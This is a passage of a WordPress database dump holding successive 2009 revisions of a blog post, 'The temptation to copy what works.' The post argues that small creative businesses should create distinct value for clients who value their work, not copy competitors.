(bigger fees, better clients) and creating compelling value for your client’s, is to focus your business development strategies on attracting and serving <em>only</em> those clients who demonstrate they value what you provide, engage with you, and in doing so, share their good fortune with others. Copy that formula and you can change the world.', 'The temptation to copy what works.', 0, '', 'inherit', 'open', 'open', '', '588-revision-5', '', '', '2009-08-25 20:42:41', '2009-08-26 03:42:41', '', 588, 'http://www.whitehotcenter.com/2009/08/25/588-revision-5/', 0, 'revision', '', 0),
(596, 2, '2009-08-25 20:55:24', '2009-08-26 03:55:24', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/08/copyimage1.gif"><img class="alignnone size-full wp-image-590" title="copyimage" src="http://whc.fbdev.org/wp-content/uploads/2009/08/copyimage1.gif" alt="copyimage" width="450" height="385" /></a> <span style="color: #ff6600;">Building your business is a process not an event.\nIt will always involves change.  Many factors drive change– new opportunities, bigger ideas, even a competitor’s threat to a your core business. Most change that occurs within an organization (or yourself for that matter) is usually driven by external influences (fear), and rarely is initiated through forethought (inspiration)</span>.</h2>\nIf your entrepreneurial business involves creative services, or you’re a solo professional, artist or infoprenuer, much of what you may currently provide is perceived by prospective clients as less differentiated, in abundant supply, and consequently, less valuable. Naturally it’s tempting to respond to this by changing something.  It’s only logical to assume that maybe you can duplicate success by copying the attributes, features or capabilities of what’s working for others.  The sobering truth is this tactic will not sustain real growth in your business, or add more value to your clients.  In the long-run, you’ll only contribute to the overall sameness and doom your business to the slush pile.\n<h2>We adapt by copying others.</h2>\nSocial observer and author, <strong>Mark Earls</strong> demonstrates the simple fact that humans have largely evolved by copying others. For thousands of years, humans have adapted through a  “do what works” mentality. In fact, Earls points out “copying is our species’ number one learning and adaptive strategy.” The temptation to copy what works is…well–tempting.  Here’s why:\n\n<strong> </strong>\n<h2>It’s easier and less risky to copy what works than to invent more value.</h2>\nHumans have always sought the safety and security of the known, and avoided the risk of the unknown. When it comes to most businesses, the majority of ideas for change is really just copied from what came before, or from what’s currently influencing the the status quo.  The gravity of the urgent (getting more clients) trumps the importance creating new value (inventing new stuff that serves clients better).\n\nSeemingly, the more success that you may copy, the more your business becomes the same– the result is your diminishing power and influence in the buying cycle with your prospective clients. Let that not be your business!\n<h2>Your business must stand for something.</h2>\nI’ve said this before; your business must matter to people, but not to everybody. There is no competitive advantage in doing what others do, or have done before. The idea that expand your capabilities to promise your clients the “total solution” is another way of saying your business doesn’t stand for anything. Get your business focused on what matters to you and what matters to your clients (serves their growth and success).\n<h2>Don’t confuse copying proven success with value creation.</h2>\nThe key to your sustained business growth (bigger fees, better clients) and creating compelling value for your client’s, is to focus your business development strategies on attracting and serving <em>only</em> those clients who demonstrate they value what you provide, engage with you, and in doing so, share their good fortune with others. Copy that formula and you can change the world.', 'The temptation to copy what works.', 0, '', 'inherit', 'open', 'open', '', '588-revision-6', '', '', '2009-08-25 20:55:24', '2009-08-26 03:55:24', '', 588, 'http://www.whitehotcenter.com/2009/08/25/588-revision-6/', 0, 'revision', '', 0),
(597, 2, '2009-08-25 20:56:21', '2009-08-26 03:56:21', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/08/copyimage1.gif"><img class="alignnone size-full wp-image-590" title="copyimage" src="http://whc.fbdev.org/wp-content/uploads/2009/08/copyimage1.gif" alt="copyimage" width="450" height="385" /></a> <span style="color: #ff6600;">Building your business is a process not an event.\r\nIt will always involves change.  Many factors drive change– new opportunities, bigger ideas, even a competitor’s threat to a your core business. Most change that occurs within an organization (or yourself for that matter) is usually driven by external influences (fear), and rarely is initiated through forethought (inspiration)</span>.</h2>\r\nIf your entrepreneurial business involves creative services, or you’re a solo professional, artist or infoprenuer, much of what you may currently provide is perceived by prospective clients as less differentiated, in abundant supply, and consequently, less valuable. Naturally it’s tempting to respond to this by changing something.  It’s only logical to assume that maybe you can duplicate success by copying the attributes, features or capabilities of what’s working for others.  The sobering truth is this tactic will not sustain real growth in your business, or add more value to your clients.  In the long-run, you’ll only contribute to the overall sameness and doom your business to the slush pile.\r\n<h2>We adapt by copying others.</h2>\r\nSocial observer and author, <strong>Mark Earls</strong> demonstrates the simple fact that humans have largely evolved by copying others. For thousands of years, humans have adapted through a  “do what works” mentality. In fact, Earls points out “copying is our species’ number one learning and adaptive strategy.” The temptation to copy what works is…well–tempting.  Here’s why:\r\n\r\n<strong> </strong>\r\n<h2>It’s easier and less risky to copy what works than to invent more value.</h2>\r\nHumans have always sought the safety and security of the known, and avoided the risk of the unknown. When it comes to most businesses, the majority of ideas for change is really just copied from what came before, or from what’s currently influencing the the status quo.  The gravity of the urgent (getting more clients) trumps the importance creating new value (inventing new stuff that serves clients better).\r\n\r\nSeemingly, the more success that you may copy, the more your business becomes the same– the result is your diminishing power and influence in the buying cycle with your prospective clients. Let that not be your business!\r\n<h2>Your business must stand for something.</h2>\r\nI’ve said this before; your business must matter to people, but not to everybody. There is no competitive advantage in doing what others do, or have done before. The idea that expand your capabilities to promise your clients the “total solution” is another way of saying your business doesn’t stand for anything. Get your business focused on what matters to you and what matters to your clients (serves their growth and success).\r\n<h2>Don’t confuse copying proven success with value creation.</h2>\r\nThe key to your sustained business growth (bigger fees, better clients) and creating compelling value for your client’s, is to focus your business development strategies on attracting and serving <em>only</em> those clients who demonstrate they value what you provide, are compelled to engage with you, and in doing so, share their good fortune in working with you to others. Copy that formula and you can change the world.', 'The temptation to copy what works.', 0, '', 'inherit', 'open', 'open', '', '588-revision-7', '', '', '2009-08-25 20:56:21', '2009-08-26 03:56:21', '', 588, 'http://www.whitehotcenter.com/2009/08/25/588-revision-7/', 0, 'revision', '', 0),
(598, 2, '2009-08-25 21:04:12', '2009-08-26 04:04:12', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/08/copyimage1.gif"><img class="alignnone size-full wp-image-590" title="copyimage" src="http://whc.fbdev.org/wp-content/uploads/2009/08/copyimage1.gif" alt="copyimage" width="450" height="385" /></a> <span style="color: #ff6600;">Growing your business is a process not an event.\nIt will always involves change.  Many factors drive change– new opportunities, bigger ideas, market shifts, even a competitor’s threat to a your core business. Most change that occurs within an organization (or yourself for that matter) is usually driven by external influences (fear), and rarely is initiated through forethought (inspiration)</span>.</h2>\nIf your entrepreneurial business involves creative services, or you’re a solo professional, artist or infoprenuer, much of what you may currently provide is perceived by prospective clients as less differentiated, in abundant supply, and consequently, less valuable. Naturally it’s tempting to respond to this by changing something.  It’s only logical to assume that maybe you can duplicate success you desire by copying the attributes, features or capabilities of what’s working for others.  The sobering truth is this tactic will not sustain real growth in your business, or add more value to your clients.  In the long-run, you’ll only contribute to the overall sameness and doom your business to the slush pile.\n<h2>We adapt by copying others.</h2>\nSocial observer and author, <strong>Mark Earls</strong> demonstrates the simple fact that humans have largely evolved by copying others. For thousands of years, humans have adapted through a  “do what works” mentality. In fact, Earls points out “copying is our species’ number one learning and adaptive strategy.” The temptation to copy what works is…well– very tempting.  Here’s why:\n\n<strong> </strong>\n<h2>It’s easier and less risky to copy what works than to invent more value.</h2>\nHumans have always sought the safety and security of the known, and avoided the risk of the unknown. When it comes to most businesses, the majority of ideas for change is really just copied from what came before, or from what’s currently influencing the the status quo.  The gravity of the urgent (getting more clients) trumps the importance creating new value (inventing new stuff that serves clients better).\n\nSeemingly, the more success that you may copy, the more your business becomes the same– the result is your diminishing power and influence in the buying cycle with your prospective clients. Let that not be your business!\n<h2>Your business must stand for something.</h2>\nI’ve said this before; your business must matter to people, but not to everybody. There is no competitive advantage in doing what others do, or have done before. The idea that expanding your capabilities to promise your clients the “total solution” becomes  another way of saying your business doesn’t stand for anything. Get your business focused on what matters to you (love and enjoy) and what matters to your clients (serves their growth and success).\n<h2>Don’t confuse copying proven success with value creation.</h2>\nThe key to your sustained business growth (bigger fees, better clients) and creating compelling value for your client’s, is to focus your ener on attracting and serving <em>only</em> those clients who demonstrate they value what you provide, are compelled to engage with you, and in doing so, share their good fortune in working with you to others. Copy that formula and you can change the world.', 'The temptation to copy what works.', 0, '', 'inherit', 'open', 'open', '', '588-revision-8', '', '', '2009-08-25 21:04:12', '2009-08-26 04:04:12', '', 588, 'http://www.whitehotcenter.com/2009/08/25/588-revision-8/', 0, 'revision', '', 0),
(599, 2, '2009-08-25 21:04:35', '2009-08-26 04:04:35', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/08/copyimage1.gif"><img class="alignnone size-full wp-image-590" title="copyimage" src="http://whc.fbdev.org/wp-content/uploads/2009/08/copyimage1.gif" alt="copyimage" width="450" height="385" /></a> <span style="color: #ff6600;">Growing your business is a process not an event.\r\nIt will always involves change.  Many factors drive change– new opportunities, bigger ideas, market shifts, even a competitor’s threat to a your core business. Most change that occurs within an organization (or yourself for that matter) is usually driven by external influences (fear), and rarely is initiated through forethought (inspiration)</span>.</h2>\r\nIf your entrepreneurial business involves creative services, or you’re a solo professional, artist or infoprenuer, much of what you may currently provide is perceived by prospective clients as less differentiated, in abundant supply, and consequently, less valuable. Naturally it’s tempting to respond to this by changing something.  It’s only logical to assume that maybe you can duplicate success you desire by copying the attributes, features or capabilities of what’s working for others.  The sobering truth is this tactic will not sustain real growth in your business, or add more value to your clients.  In the long-run, you’ll only contribute to the overall sameness and doom your business to the slush pile.\r\n<h2>We adapt by copying others.</h2>\r\nSocial observer and author, <strong>Mark Earls</strong> demonstrates the simple fact that humans have largely evolved by copying others. For thousands of years, humans have adapted through a  “do what works” mentality. In fact, Earls points out “copying is our species’ number one learning and adaptive strategy.” The temptation to copy what works is…well– very tempting.  Here’s why:\r\n\r\n<strong> </strong>\r\n<h2>It’s easier and less risky to copy what works than to invent more value.</h2>\r\nHumans have always sought the safety and security of the known, and avoided the risk of the unknown. When it comes to most businesses, the majority of ideas for change is really just copied from what came before, or from what’s currently influencing the the status quo.  The gravity of the urgent (getting more clients) trumps the importance creating new value (inventing new stuff that serves clients better).\r\n\r\nSeemingly, the more success that you may copy, the more your business becomes the same– the result is your diminishing power and influence in the buying cycle with your prospective clients. Let that not be your business!\r\n<h2>Your business must stand for something.</h2>\r\nI’ve said this before; your business must matter to people, but not to everybody. There is no competitive advantage in doing what others do, or have done before. The idea that expanding your capabilities to promise your clients the “total solution” becomes  another way of saying your business doesn’t stand for anything. Get your business focused on what matters to you (love and enjoy) and what matters to your clients (serves their growth and success).\r\n<h2>Don’t confuse copying proven success with value creation.</h2>\r\nThe key to your sustained business growth (bigger fees, better clients) and creating compelling value for your client’s, is to focus your energies on attracting and serving <em>only</em> those clients who demonstrate they value what you provide, are compelled to engage with you, and in doing so, share their good fortune in working with you to others. Copy that formula and you can change the world.', 'The temptation to copy what works.', 0, '', 'inherit', 'open', 'open', '', '588-revision-9', '', '', '2009-08-25 21:04:35', '2009-08-26 04:04:35', '', 588, 'http://www.whitehotcenter.com/2009/08/25/588-revision-9/', 0, 'revision', '', 0),
(600, 2, '2009-08-25 21:04:42', '2009-08-26 04:04:42', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/08/copyimage1.gif"><img class="alignnone size-full wp-image-590" title="copyimage" src="http://whc.fbdev.org/wp-content/uploads/2009/08/copyimage1.gif" alt="copyimage" width="450" height="385" /></a> <span style="color: #ff6600;">Growing your business is a process not an event.\r\nIt will always involves change.  Many factors drive change– new opportunities, bigger ideas, market shifts, even a competitor’s threat to a your core business. Most change that occurs within an organization (or yourself for that matter) is usually driven by external influences (fear), and rarely is initiated through forethought (inspiration)</span>.</h2>\r\nIf your entrepreneurial business involves creative services, or you’re a solo professional, artist or infoprenuer, much of what you may currently provide is perceived by prospective clients as less differentiated, in abundant supply, and consequently, less valuable. Naturally it’s tempting to respond to this by changing something.  It’s only logical to assume that maybe you can duplicate success you desire by copying the attributes, features or capabilities of what’s working for others.  The sobering truth is this tactic will not sustain real growth in your business, or add more value to your clients.  In the long-run, you’ll only contribute to the overall sameness and doom your business to the slush pile.\r\n<h2>We adapt by copying others.</h2>\r\nSocial observer and author, <strong>Mark Earls</strong> demonstrates the simple fact that humans have largely evolved by copying others. For thousands of years, humans have adapted through a  “do what works” mentality. In fact, Earls points out “copying is our species’ number one learning and adaptive strategy.” The temptation to copy what works is…well– very tempting.  Here’s why:\r\n\r\n<strong> </strong>\r\n<h2>It’s easier and less risky to copy what works than to invent more value.</h2>\r\nHumans have always sought the safety and security of the known, and avoided the risk of the unknown. When it comes to most businesses, the majority of ideas for change is really just copied from what came before, or from what’s currently influencing the the status quo.  The gravity of the urgent (getting more clients) trumps the importance creating new value (inventing new stuff that serves clients better).\r\n\r\nSeemingly, the more success that you may copy, the more your business becomes the same– the result is your diminishing power and influence in the buying cycle with your prospective clients. Let that not be your business!\r\n<h2>Your business must stand for something.</h2>\r\nI’ve said this before; your business must matter to people, but not to everybody. There is no competitive advantage in doing what others do, or have done before. The idea that expanding your capabilities to promise your clients the “total solution” becomes  another way of saying your business doesn’t stand for anything. Get your business focused on what matters to you (love and enjoy) and what matters to your clients (serves their growth and success).\r\n<h2>Don’t confuse copying proven success with value creation.</h2>\r\nThe key to your sustained business growth (bigger fees, better clients) and creating compelling value for your client’s, is to focus your energies on attracting and serving <em>only</em> those clients who demonstrate they value what you provide, are compelled to engage with you, and in doing so, share their good fortune in working with you to others. Copy that formula and you can change the world.', 'The temptation to copy what works.', 0, '', 'inherit', 'open', 'open', '', '588-revision-10', '', '', '2009-08-25 21:04:42', '2009-08-26 04:04:42', '', 588, 'http://www.whitehotcenter.com/2009/08/25/588-revision-10/', 0, 'revision', '', 0),
(604, 2, '2009-08-25 21:12:14', '2009-08-26 04:12:14', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/08/copyimage1.gif"><img class="alignnone size-full wp-image-590" title="copyimage" src="http://whc.fbdev.org/wp-content/uploads/2009/08/copyimage1.gif" alt="copyimage" width="450" height="385" /></a> <span style="color: #ff6600;">Growing your business is a process not an event.\nIt will always involve change.  Many dynamic factors drive change– new opportunities, bigger ideas, market shifts, even a competitor’s threat to a your core business. Most change that occurs within an organization (or yourself for that matter) is usually driven by external influences (fear), and rarely is initiated through forethought (inspiration)</span>.</h2>\nIf your entrepreneurial business involves creative services, or you’re a solo professional, artist or infoprenuer, much of what you may currently provide is perceived by prospective clients as less differentiated, in abundant supply, and consequently, less valuable. Naturally it’s tempting to respond to this by changing something.  It’s only logical to assume that maybe you can duplicate the success you desire by copying the attributes, features or capabilities of what’s working for others.  The sobering truth is this tactic will not sustain real growth in your business, or add more value to your clients.  In the long-run, you’ll only contribute to the overall sameness and doom your business to the slush pile.\n<h2>We adapt by copying others.</h2>\nSocial observer and author, <strong>Mark Earls</strong> demonstrates the simple fact that humans have largely evolved by copying others. For thousands of years, humans have adapted through a  “do what works” mentality. In fact, Earls points out “copying is our species’ number one learning and adaptive strategy.” The temptation to copy what works is…well– very tempting.  Here’s why:\n\n<strong> </strong>\n<h2>It’s easier and less risky to copy what works than to invent more value.</h2>\nHumans have always sought the safety and security of the known, and avoided the risk of the unknown. When it comes to most businesses, the majority of ideas for change is really just copied from what came before, or from what’s currently influencing the the status quo.  The gravity of the urgent (getting more clients) trumps the importance of creating new value (inventing new stuff that serves clients better).\n\nSeemingly, the more success that you may copy, the more your business becomes the same– the result is your diminishing power and influence in the buying cycle with your prospective clients. Let that not be your business!\n<h2>Your business must stand for something.</h2>\nI’ve said this before; your business must matter to people, but not to everybody. There is no competitive advantage in doing what others do, or have done before. The idea that expanding your capabilities to promise your clients the “total solution” becomes  another way of saying your business doesn’t stand for anything. Get your business focused on what matters to you (love and enjoy) and what matters to your clients (serves their growth and success).\n<h2>Don’t confuse copying proven success with value creation.</h2>\nThe key to your sustained business growth (bigger fees, better clients) and creating compelling value for your client’s, is to focus your energies on attracting and serving <em>only</em> those clients who demonstrate they value what you provide, are compelled to engage with you, and in doing so, share their good fortune in working with you to others. Copy that formula and you can change the world.', 'The temptation to copy what works.', 0, '', 'inherit', 'open', 'open', '', '588-revision-14', '', '', '2009-08-25 21:12:14', '2009-08-26 04:12:14', '', 588, 'http://www.whitehotcenter.com/2009/08/25/588-revision-14/', 0, 'revision', '', 0),
(601, 2, '2009-08-25 21:06:06', '2009-08-26 04:06:06', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/08/copyimage1.gif"><img class="alignnone size-full wp-image-590" title="copyimage" src="http://whc.fbdev.org/wp-content/uploads/2009/08/copyimage1.gif" alt="copyimage" width="450" height="385" /></a> <span style="color: #ff6600;">Growing your business is a process not an event.\r\nIt will always involve change.  Many dynamic factors drive change– new opportunities, bigger ideas, market shifts, even a competitor’s threat to a your core business. Most change that occurs within an organization (or yourself for that matter) is usually driven by external influences (fear), and rarely is initiated through forethought (inspiration)</span>.</h2>\r\nIf your entrepreneurial business involves creative services, or you’re a solo professional, artist or infoprenuer, much of what you may currently provide is perceived by prospective clients as less differentiated, in abundant supply, and consequently, less valuable. Naturally it’s tempting to respond to this by changing something.  It’s only logical to assume that maybe you can duplicate success you desire by copying the attributes, features or capabilities of what’s working for others.  The sobering truth is this tactic will not sustain real growth in your business, or add more value to your clients.  In the long-run, you’ll only contribute to the overall sameness and doom your business to the slush pile.\r\n<h2>We adapt by copying others.</h2>\r\nSocial observer and author, <strong>Mark Earls</strong> demonstrates the simple fact that humans have largely evolved by copying others. For thousands of years, humans have adapted through a  “do what works” mentality. In fact, Earls points out “copying is our species’ number one learning and adaptive strategy.” The temptation to copy what works is…well– very tempting.  Here’s why:\r\n\r\n<strong> </strong>\r\n<h2>It’s easier and less risky to copy what works than to invent more value.</h2>\r\nHumans have always sought the safety and security of the known, and avoided the risk of the unknown. When it comes to most businesses, the majority of ideas for change is really just copied from what came before, or from what’s currently influencing the the status quo.  The gravity of the urgent (getting more clients) trumps the importance creating new value (inventing new stuff that serves clients better).\r\n\r\nSeemingly, the more success that you may copy, the more your business becomes the same– the result is your diminishing power and influence in the buying cycle with your prospective clients. Let that not be your business!\r\n<h2>Your business must stand for something.</h2>\r\nI’ve said this before; your business must matter to people, but not to everybody. There is no competitive advantage in doing what others do, or have done before. The idea that expanding your capabilities to promise your clients the “total solution” becomes  another way of saying your business doesn’t stand for anything. Get your business focused on what matters to you (love and enjoy) and what matters to your clients (serves their growth and success).\r\n<h2>Don’t confuse copying proven success with value creation.</h2>\r\nThe key to your sustained business growth (bigger fees, better clients) and creating compelling value for your client’s, is to focus your energies on attracting and serving <em>only</em> those clients who demonstrate they value what you provide, are compelled to engage with you, and in doing so, share their good fortune in working with you to others. Copy that formula and you can change the world.', 'The temptation to copy what works.', 0, '', 'inherit', 'open', 'open', '', '588-revision-11', '', '', '2009-08-25 21:06:06', '2009-08-26 04:06:06', '', 588, 'http://www.whitehotcenter.com/2009/08/25/588-revision-11/', 0, 'revision', '', 0),
(602, 2, '2009-08-25 21:06:14', '2009-08-26 04:06:14', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/08/copyimage1.gif"><img class="alignnone size-full wp-image-590" title="copyimage" src="http://whc.fbdev.org/wp-content/uploads/2009/08/copyimage1.gif" alt="copyimage" width="450" height="385" /></a> <span style="color: #ff6600;">Growing your business is a process not an event.\r\nIt will always involve change.  Many dynamic factors drive change– new opportunities, bigger ideas, market shifts, even a competitor’s threat to a your core business. Most change that occurs within an organization (or yourself for that matter) is usually driven by external influences (fear), and rarely is initiated through forethought (inspiration)</span>.</h2>\r\nIf your entrepreneurial business involves creative services, or you’re a solo professional, artist or infoprenuer, much of what you may currently provide is perceived by prospective clients as less differentiated, in abundant supply, and consequently, less valuable. Naturally it’s tempting to respond to this by changing something.  It’s only logical to assume that maybe you can duplicate success you desire by copying the attributes, features or capabilities of what’s working for others.  The sobering truth is this tactic will not sustain real growth in your business, or add more value to your clients.  In the long-run, you’ll only contribute to the overall sameness and doom your business to the slush pile.\r\n<h2>We adapt by copying others.</h2>\r\nSocial observer and author, <strong>Mark Earls</strong> demonstrates the simple fact that humans have largely evolved by copying others. For thousands of years, humans have adapted through a  “do what works” mentality. In fact, Earls points out “copying is our species’ number one learning and adaptive strategy.” The temptation to copy what works is…well– very tempting.  Here’s why:\r\n\r\n<strong> </strong>\r\n<h2>It’s easier and less risky to copy what works than to invent more value.</h2>\r\nHumans have always sought the safety and security of the known, and avoided the risk of the unknown. When it comes to most businesses, the majority of ideas for change is really just copied from what came before, or from what’s currently influencing the the status quo.  The gravity of the urgent (getting more clients) trumps the importance creating new value (inventing new stuff that serves clients better).\r\n\r\nSeemingly, the more success that you may copy, the more your business becomes the same– the result is your diminishing power and influence in the buying cycle with your prospective clients. Let that not be your business!\r\n<h2>Your business must stand for something.</h2>\r\nI’ve said this before; your business must matter to people, but not to everybody. There is no competitive advantage in doing what others do, or have done before. The idea that expanding your capabilities to promise your clients the “total solution” becomes  another way of saying your business doesn’t stand for anything. Get your business focused on what matters to you (love and enjoy) and what matters to your clients (serves their growth and success).\r\n<h2>Don’t confuse copying proven success with value creation.</h2>\r\nThe key to your sustained business growth (bigger fees, better clients) and creating compelling value for your client’s, is to focus your energies on attracting and serving <em>only</em> those clients who demonstrate they value what you provide, are compelled to engage with you, and in doing so, share their good fortune in working with you to others. Copy that formula and you can change the world.', 'The temptation to copy what works.', 0, '', 'inherit', 'open', 'open', '', '588-revision-12', '', '', '2009-08-25 21:06:14', '2009-08-26 04:06:14', '', 588, 'http://www.whitehotcenter.com/2009/08/25/588-revision-12/', 0, 'revision', '', 0);
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(603, 2, '2009-08-25 21:07:51', '2009-08-26 04:07:51', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/08/copyimage1.gif"><img class="alignnone size-full wp-image-590" title="copyimage" src="http://whc.fbdev.org/wp-content/uploads/2009/08/copyimage1.gif" alt="copyimage" width="450" height="385" /></a> <span style="color: #ff6600;">Growing your business is a process not an event.\r\nIt will always involve change.  Many dynamic factors drive change– new opportunities, bigger ideas, market shifts, even a competitor’s threat to a your core business. Most change that occurs within an organization (or yourself for that matter) is usually driven by external influences (fear), and rarely is initiated through forethought (inspiration)</span>.</h2>\r\nIf your entrepreneurial business involves creative services, or you’re a solo professional, artist or infoprenuer, much of what you may currently provide is perceived by prospective clients as less differentiated, in abundant supply, and consequently, less valuable. Naturally it’s tempting to respond to this by changing something.  It’s only logical to assume that maybe you can duplicate the success you desire by copying the attributes, features or capabilities of what’s working for others.  The sobering truth is this tactic will not sustain real growth in your business, or add more value to your clients.  In the long-run, you’ll only contribute to the overall sameness and doom your business to the slush pile.\r\n<h2>We adapt by copying others.</h2>\r\nSocial observer and author, <strong>Mark Earls</strong> demonstrates the simple fact that humans have largely evolved by copying others. For thousands of years, humans have adapted through a  “do what works” mentality. In fact, Earls points out “copying is our species’ number one learning and adaptive strategy.” The temptation to copy what works is…well– very tempting.  Here’s why:\r\n\r\n<strong> </strong>\r\n<h2>It’s easier and less risky to copy what works than to invent more value.</h2>\r\nHumans have always sought the safety and security of the known, and avoided the risk of the unknown. When it comes to most businesses, the majority of ideas for change is really just copied from what came before, or from what’s currently influencing the the status quo.  The gravity of the urgent (getting more clients) trumps the importance creating new value (inventing new stuff that serves clients better).\r\n\r\nSeemingly, the more success that you may copy, the more your business becomes the same– the result is your diminishing power and influence in the buying cycle with your prospective clients. Let that not be your business!\r\n<h2>Your business must stand for something.</h2>\r\nI’ve said this before; your business must matter to people, but not to everybody. There is no competitive advantage in doing what others do, or have done before. The idea that expanding your capabilities to promise your clients the “total solution” becomes  another way of saying your business doesn’t stand for anything. Get your business focused on what matters to you (love and enjoy) and what matters to your clients (serves their growth and success).\r\n<h2>Don’t confuse copying proven success with value creation.</h2>\r\nThe key to your sustained business growth (bigger fees, better clients) and creating compelling value for your client’s, is to focus your energies on attracting and serving <em>only</em> those clients who demonstrate they value what you provide, are compelled to engage with you, and in doing so, share their good fortune in working with you to others. Copy that formula and you can change the world.', 'The temptation to copy what works.', 0, '', 'inherit', 'open', 'open', '', '588-revision-13', '', '', '2009-08-25 21:07:51', '2009-08-26 04:07:51', '', 588, 'http://www.whitehotcenter.com/2009/08/25/588-revision-13/', 0, 'revision', '', 0),
(605, 2, '2009-08-25 21:12:47', '2009-08-26 04:12:47', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/08/copyimage1.gif"><img class="alignnone size-full wp-image-590" title="copyimage" src="http://whc.fbdev.org/wp-content/uploads/2009/08/copyimage1.gif" alt="copyimage" width="450" height="385" /></a> <span style="color: #ff6600;">Growing your business is a process not an event.\r\nIt will always involve change.  Many dynamic factors drive change– new opportunities, bigger ideas, market shifts, even a competitor’s threat to a your core business. Most change that occurs within an organization (or yourself for that matter) is usually driven by external influences (fear), and rarely is initiated through forethought (inspiration)</span>.</h2>\r\nIf your entrepreneurial business involves creative services, or you’re a solo professional, artist or infoprenuer, much of what you may currently provide may be perceived by prospective clients as less differentiated, in abundant supply, and consequently, less valuable. Naturally it’s tempting to respond to this by changing something.  It’s only logical to assume that maybe you can duplicate the success you desire by copying the attributes, features or capabilities of what’s working for others.  The sobering truth is this tactic will not sustain real growth in your business, or add more value to your clients.  In the long-run, you’ll only contribute to the overall sameness and doom your business to the slush pile.\r\n<h2>We adapt by copying others.</h2>\r\nSocial observer and author, <strong>Mark Earls</strong> demonstrates the simple fact that humans have largely evolved by copying others. For thousands of years, humans have adapted through a  “do what works” mentality. In fact, Earls points out “copying is our species’ number one learning and adaptive strategy.” The temptation to copy what works is…well– very tempting.  Here’s why:\r\n\r\n<strong> </strong>\r\n<h2>It’s easier and less risky to copy what works than to invent more value.</h2>\r\nHumans have always sought the safety and security of the known, and avoided the risk of the unknown. When it comes to most businesses, the majority of ideas for change is really just copied from what came before, or from what’s currently influencing the the status quo.  The gravity of the urgent (getting more clients) trumps the importance of creating new value (inventing new stuff that serves clients better).\r\n\r\nSeemingly, the more success that you may copy, the more your business becomes the same– the result is your diminishing power and influence in the buying cycle with your prospective clients. Let that not be your business!\r\n<h2>Your business must stand for something.</h2>\r\nI’ve said this before; your business must matter to people, but not to everybody. There is no competitive advantage in doing what others do, or have done before. The idea that expanding your capabilities to promise your clients the “total solution” becomes  another way of saying your business doesn’t stand for anything. Get your business focused on what matters to you (love and enjoy) and what matters to your clients (serves their growth and success).\r\n<h2>Don’t confuse copying proven success with value creation.</h2>\r\nThe key to your sustained business growth (bigger fees, better clients) and creating compelling value for your client’s, is to focus your energies on attracting and serving <em>only</em> those clients who demonstrate they value what you provide, are compelled to engage with you, and in doing so, share their good fortune in working with you to others. Copy that formula and you can change the world.', 'The temptation to copy what works.', 0, '', 'inherit', 'open', 'open', '', '588-revision-15', '', '', '2009-08-25 21:12:47', '2009-08-26 04:12:47', '', 588, 'http://www.whitehotcenter.com/2009/08/25/588-revision-15/', 0, 'revision', '', 0),
(606, 2, '2009-08-25 21:12:54', '2009-08-26 04:12:54', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/08/copyimage1.gif"><img class="alignnone size-full wp-image-590" title="copyimage" src="http://whc.fbdev.org/wp-content/uploads/2009/08/copyimage1.gif" alt="copyimage" width="450" height="385" /></a> <span style="color: #ff6600;">Growing your business is a process not an event.\r\nIt will always involve change.  Many dynamic factors drive change– new opportunities, bigger ideas, market shifts, even a competitor’s threat to a your core business. Most change that occurs within an organization (or yourself for that matter) is usually driven by external influences (fear), and rarely is initiated through forethought (inspiration)</span>.</h2>\r\nIf your entrepreneurial business involves creative services, or you’re a solo professional, artist or infoprenuer, much of what you may currently provide may be perceived by prospective clients as less differentiated, in abundant supply, and consequently, less valuable. Naturally it’s tempting to respond to this by changing something.  It’s only logical to assume that maybe you can duplicate the success you desire by copying the attributes, features or capabilities of what’s working for others.  The sobering truth is this tactic will not sustain real growth in your business, or add more value to your clients.  In the long-run, you’ll only contribute to the overall sameness and doom your business to the slush pile.\r\n<h2>We adapt by copying others.</h2>\r\nSocial observer and author, <strong>Mark Earls</strong> demonstrates the simple fact that humans have largely evolved by copying others. For thousands of years, humans have adapted through a  “do what works” mentality. In fact, Earls points out “copying is our species’ number one learning and adaptive strategy.” The temptation to copy what works is…well– very tempting.  Here’s why:\r\n\r\n<strong> </strong>\r\n<h2>It’s easier and less risky to copy what works than to invent more value.</h2>\r\nHumans have always sought the safety and security of the known, and avoided the risk of the unknown. When it comes to most businesses, the majority of ideas for change is really just copied from what came before, or from what’s currently influencing the the status quo.  The gravity of the urgent (getting more clients) trumps the importance of creating new value (inventing new stuff that serves clients better).\r\n\r\nSeemingly, the more success that you may copy, the more your business becomes the same– the result is your diminishing power and influence in the buying cycle with your prospective clients. Let that not be your business!\r\n<h2>Your business must stand for something.</h2>\r\nI’ve said this before; your business must matter to people, but not to everybody. There is no competitive advantage in doing what others do, or have done before. The idea that expanding your capabilities to promise your clients the “total solution” becomes  another way of saying your business doesn’t stand for anything. Get your business focused on what matters to you (love and enjoy) and what matters to your clients (serves their growth and success).\r\n<h2>Don’t confuse copying proven success with value creation.</h2>\r\nThe key to your sustained business growth (bigger fees, better clients) and creating compelling value for your client’s, is to focus your energies on attracting and serving <em>only</em> those clients who demonstrate they value what you provide, are compelled to engage with you, and in doing so, share their good fortune in working with you to others. Copy that formula and you can change the world.', 'The temptation to copy what works.', 0, '', 'inherit', 'open', 'open', '', '588-revision-16', '', '', '2009-08-25 21:12:54', '2009-08-26 04:12:54', '', 588, 'http://www.whitehotcenter.com/2009/08/25/588-revision-16/', 0, 'revision', '', 0),
